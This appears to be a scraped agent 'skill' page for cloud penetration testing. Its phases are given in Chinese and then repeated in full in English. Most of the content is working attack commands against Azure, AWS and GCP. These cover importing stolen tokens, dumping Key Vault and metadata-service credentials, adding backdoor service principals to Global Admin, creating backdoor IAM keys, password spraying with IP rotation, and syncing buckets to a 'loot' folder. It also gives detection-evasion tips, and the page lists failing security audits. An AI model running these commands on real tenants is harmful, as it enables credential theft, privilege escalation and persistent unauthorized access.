阶段 2：Azure 身份验证

对 Azure 环境进行身份验证：

# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService

阶段 3：Azure 枚举

发现 Azure 资源和权限：

# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal

阶段 4：Azure 利用

利用 Azure 配置错误：

# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>

阶段 5：Azure 持久化

在 Azure 中建立持久化：

# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Login as service principal
$cred = Get-Credential  # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>

阶段 6：AWS 身份验证

对 AWS 环境进行身份验证：

# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format

# Use specific profile
aws configure --profile target

# Test credentials
aws sts get-caller-identity

阶段 7：AWS 枚举

发现 AWS 资源：

# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 Instances
aws ec2 describe-instances

# RDS Databases
aws rds describe-db-instances --region us-east-1

# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS Clusters
aws eks list-clusters --region us-east-1

# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections

阶段 8：AWS 利用

利用 AWS 配置错误：

# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible

# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

阶段 9：AWS 持久化

在 AWS 中建立持久化：

# List existing access keys
aws iam list-access-keys --user-name <username>

# Create backdoor access key
aws iam create-access-key --user-name <username>

# Get all EC2 public IPs
for region in $(cat regions.txt); do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done

阶段 10：GCP 枚举

发现 GCP 资源：

# Authentication
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list

# Account information
gcloud config list
gcloud organizations list
gcloud projects list

# IAM Policies
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>

# Enabled services
gcloud services list

# Source code repos
gcloud source repos list
gcloud source repos clone <repo>

# Compute instances
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"

# Storage buckets
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local

# SQL instances
gcloud sql instances list
gcloud sql databases list --instance <id>

# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info

阶段 11：GCP 利用

利用 GCP 配置错误：

# Get metadata service data
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

# Check access scopes
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

# Decrypt data with keyring
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global

# Serverless function analysis
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100

# Find stored credentials
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list

快速参考

Azure 关键命令

AWS 关键命令

GCP 关键命令

元数据服务 URL

实用工具

约束与限制

法律要求

• 仅在有明确书面授权的情况下进行测试
• 尊重云账户之间的范围边界
• 不得访问生产客户数据
• 记录所有测试活动

技术限制

• MFA 可能阻止基于凭据的攻击
• 条件访问策略可能限制访问
• CloudTrail/活动日志记录所有 API 调用
• 某些资源需要特定的区域访问权限

检测注意事项

• 云提供商记录所有 API 活动
• 异常的访问模式会触发警报
• 使用缓慢、谨慎的枚举方式
• 考虑 GuardDuty、Security Center、Cloud Armor

示例

示例 1：Azure 密码喷洒

场景： 测试 Azure AD 密码策略

# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox

示例 2：AWS S3 存储桶枚举

场景： 查找并访问配置错误的 S3 存储桶

# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/

示例 3：GCP 服务账户泄露

场景： 使用泄露的服务账户进行横向移动

# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

故障排除

参考

• 高级云脚本 - Azure 自动化 Runbook、Function Apps 枚举、AWS 数据外泄、GCP 高级利用

每周安装次数

0

仓库

automindtechnol…skill.md

首次出现

1970年1月1日

安全审计

Gen Agent Trust HubFailSocketFailSnykFail

Core Workflow

Phase 1: Reconnaissance

Gather initial information about target cloud presence:

# Azure: Get federation info
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"

# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany

# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py

Phase 2: Azure Authentication

Authenticate to Azure environments:

# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService

Phase 3: Azure Enumeration

Discover Azure resources and permissions:

# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal

Phase 4: Azure Exploitation

Exploit Azure misconfigurations:

# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>

Phase 5: Azure Persistence

Establish persistence in Azure:

# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Login as service principal
$cred = Get-Credential  # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>

Phase 6: AWS Authentication

Authenticate to AWS environments:

# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format

# Use specific profile
aws configure --profile target

# Test credentials
aws sts get-caller-identity

Phase 7: AWS Enumeration

Discover AWS resources:

# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 Instances
aws ec2 describe-instances

# RDS Databases
aws rds describe-db-instances --region us-east-1

# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS Clusters
aws eks list-clusters --region us-east-1

# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections

Phase 8: AWS Exploitation

Exploit AWS misconfigurations:

# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible

# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

Phase 9: AWS Persistence

Establish persistence in AWS:

# List existing access keys
aws iam list-access-keys --user-name <username>

# Create backdoor access key
aws iam create-access-key --user-name <username>

# Get all EC2 public IPs
for region in $(cat regions.txt); do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done

Phase 10: GCP Enumeration

Discover GCP resources:

# Authentication
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list

# Account information
gcloud config list
gcloud organizations list
gcloud projects list

# IAM Policies
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>

# Enabled services
gcloud services list

# Source code repos
gcloud source repos list
gcloud source repos clone <repo>

# Compute instances
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"

# Storage buckets
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local

# SQL instances
gcloud sql instances list
gcloud sql databases list --instance <id>

# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info

Phase 11: GCP Exploitation

Exploit GCP misconfigurations:

# Get metadata service data
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

# Check access scopes
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

# Decrypt data with keyring
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global

# Serverless function analysis
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100

# Find stored credentials
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list

Quick Reference

Azure Key Commands

AWS Key Commands

GCP Key Commands

Metadata Service URLs

Useful Tools

Constraints and Limitations

Legal Requirements

• Only test with explicit written authorization
• Respect scope boundaries between cloud accounts
• Do not access production customer data
• Document all testing activities

Technical Limitations

• MFA may prevent credential-based attacks
• Conditional Access policies may restrict access
• CloudTrail/Activity Logs record all API calls
• Some resources require specific regional access

Detection Considerations

• Cloud providers log all API activity
• Unusual access patterns trigger alerts
• Use slow, deliberate enumeration
• Consider GuardDuty, Security Center, Cloud Armor

Examples

Example 1: Azure Password Spray

Scenario: Test Azure AD password policy

# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox

Example 2: AWS S3 Bucket Enumeration

Scenario: Find and access misconfigured S3 buckets

# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/

Example 3: GCP Service Account Compromise

Scenario: Pivot using compromised service account

# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

Troubleshooting

References

• Advanced Cloud Scripts - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation

Weekly Installs

0

Repository

automindtechnol…skill.md

First Seen

Jan 1, 1970

Security Audits

Gen Agent Trust HubFailSocketFailSnykFail